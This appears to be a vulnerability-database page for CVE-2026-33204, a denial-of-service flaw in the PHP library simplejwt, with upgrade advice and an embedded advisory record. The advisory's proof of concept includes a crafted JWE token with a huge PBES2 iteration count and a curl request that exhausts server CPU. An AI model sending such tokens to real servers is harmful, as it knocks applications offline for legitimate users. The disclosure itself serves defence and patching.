CVE-2026-33204: Kelvinmo/simplejwt Denial of Service Vulnerability
HIGHCVE-2026-33204 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Kelvinmo/simplejwt libraries in the Packagist ecosystem. The issue involves simplejwt has an unauthenticated denial of service via jwe header tampering. Remediation is available by upgrading affected packages to version 1.1.1.
CVE-2026-33204 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-33204
To remediate this vulnerability, upgrade all affected Kelvinmo/simplejwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade kelvinmo/simplejwt to 1.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for kelvinmo/simplejwt
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33204, inspect your project dependencies for Kelvinmo/simplejwt:
inspect dependencies for kelvinmo/simplejwt
Analyze the terminal output to locate any version of Kelvinmo/simplejwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Kelvinmo/simplejwt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33204 Affected Kelvinmo/simplejwt Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
kelvinmo/simplejwt
|
Packagist |
< 1.1.1
|
1.1.1
|
References
Frequently Asked Questions
What is CVE-2026-33204?
Which Kelvinmo/simplejwt versions are affected?
What version fixes CVE-2026-33204?
Is kelvinmo/simplejwt affected?
What is the CVSS score of CVE-2026-33204?
What CWE is associated with CVE-2026-33204?
How can I check Packagist dependencies for CVE-2026-33204?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xw36-67f8-339x",
"modified" : "2026-03-25T18:12:39Z",
"published" : "2026-03-18T20:16:59Z",
"aliases" : [ "CVE-2026-33204" ],
"summary" : "SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering",
"details" : "## Summary\n\nAn unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. \nApplications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected.\n\n## Details\n\nPHP version: `PHP 8.4.11`\nSimpleJWT version: `v1.1.0`\n\nThe relevant portion of the vulnerable implementation is shown below ([PBES2.php](https://github.com/kelvinmo/simplejwt/blob/edb7807a240b72c59e72d7dca31add9d16555f9f/src/SimpleJWT/Crypt/KeyManagement/PBES2.php)):\n\n```PHP\n<?php\n/* ... SNIP ... */\nclass PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {\n use AESKeyWrapTrait;\n\n /** @var array<string, mixed> $alg_params */\n static protected $alg_params = [\n 'PBES2-HS256+A128KW' => ['hash' => 'sha256'],\n 'PBES2-HS384+A192KW' => ['hash' => 'sha384'],\n 'PBES2-HS512+A256KW' => ['hash' => 'sha512']\n ];\n\n /** @var truthy-string $hash_alg */\n protected $hash_alg;\n\n /** @var int $iterations */\n protected $iterations = 4096;\n \n /* ... SNIP ... */\n\n /**\n * Sets the number of iterations to use in PBKFD2 key generation.\n *\n * @param int $iterations number of iterations\n * @return void\n */\n public function setIterations(int $iterations) {\n $this->iterations = $iterations;\n }\n \n /* ... SNIP ... */\n\n /**\n * {@inheritdoc}\n */\n public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {\n /** @var SymmetricKey $key */\n $key = $this->selectKey($keys, $kid);\n if ($key == null) {\n throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);\n }\n if (!isset($headers['p2s']) || !isset($headers['p2c'])) {\n throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);\n }\n\n $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);\n return $this->unwrapKey($encrypted_key, $derived_key, $headers);\n }\n \n /* ... SNIP ... */\n\n /**\n * @param array<string, mixed> $headers\n */\n private function generateKeyFromPassword(string $password, array $headers): string {\n $salt = $headers['alg'] . \"\\x00\" . Util::base64url_decode($headers['p2s']);\n /** @var int<0, max> $length */\n $length = intdiv($this->getAESKWKeySize(), 8);\n\n return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);\n }\n}\n?>\n```\n\nThe security flaw lies in the lack of input validation when handling JWEs that uses PBES2. \nA \"sanity ceiling\" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2)). \nThe library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`.\n\nThis results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled. \nBecause the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.\n\n## Proof of Concept\n\nSpin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.\n\n```bash\nmkdir simplejwt-poc\ncd simplejwt-poc\ncomposer install\ncomposer require kelvinmo/simplejwt\nphp -S localhost:8000\n```\n\nThe content of `index.php`:\n\n```php\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$set = SimpleJWT\\Keys\\KeySet::createFromSecret('secret123');\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$method = $_SERVER['REQUEST_METHOD'];\n\nif ($uri === '/encrypt' && $method === 'GET') {\n // Note $headers['alg'] and $headers['enc'] are required\n $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];\n $plaintext = 'This is the plaintext I want to encrypt.';\n $jwe = new SimpleJWT\\JWE($headers, $plaintext);\n\n try {\n echo \"Encrypted JWE: \" . $jwe->encrypt($set);\n } catch (\\RuntimeException $e) {\n echo $e;\n }\n}\n\nelseif ($uri === '/decrypt' && $method === 'GET') {\n try {\n $jwe = $_GET['s'];\n $jwe = SimpleJWT\\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');\n } catch (SimpleJWT\\InvalidTokenException $e) {\n echo $e;\n }\n echo $jwe->getHeader('alg') . \"<br>\";\n echo $jwe->getHeader('enc') . \"<br>\";\n echo $jwe->getPlaintext() . \"<br>\";\n }\n\nelse {\n http_response_code(404);\n echo \"Route not found\";\n}\n\n?>\n```\n\nWe have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):\n\n```json\n{\n \"alg\": \"PBES2-HS256+A128KW\",\n \"enc\": \"A128CBC-HS256\",\n \"p2s\": \"blablabla\",\n \"p2c\": 409123223136\n}\n```\n\nThe final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`.\n\nNotice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.\n\nPerform the following request to the server (which tries to derive the PBES2 key):\n\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n -H $'Host: localhost:8000' \\\n $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'\n```\n\nThe request blocks the worker until the PHP execution timeout is reached, shutting down the server:\n\n```console\n[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started\n[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted\n\nFatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168\n```\n\n## Impact\n\nAn attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations. \nThis causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached. \nRepeated requests can exhaust server resources and make the application unavailable to legitimate users.\n\n## Credits \n\nEdoardo Ottavianelli (@edoardottt)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "kelvinmo/simplejwt"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.1.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kelvinmo/simplejwt/security/advisories/GHSA-xw36-67f8-339x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33204"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kelvinmo/simplejwt"
}, {
"type" : "WEB",
"url" : "https://github.com/kelvinmo/simplejwt/releases/tag/v1.1.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-18T20:16:59Z",
"nvd_published_at" : "2026-03-20T23:16:45Z"
}
}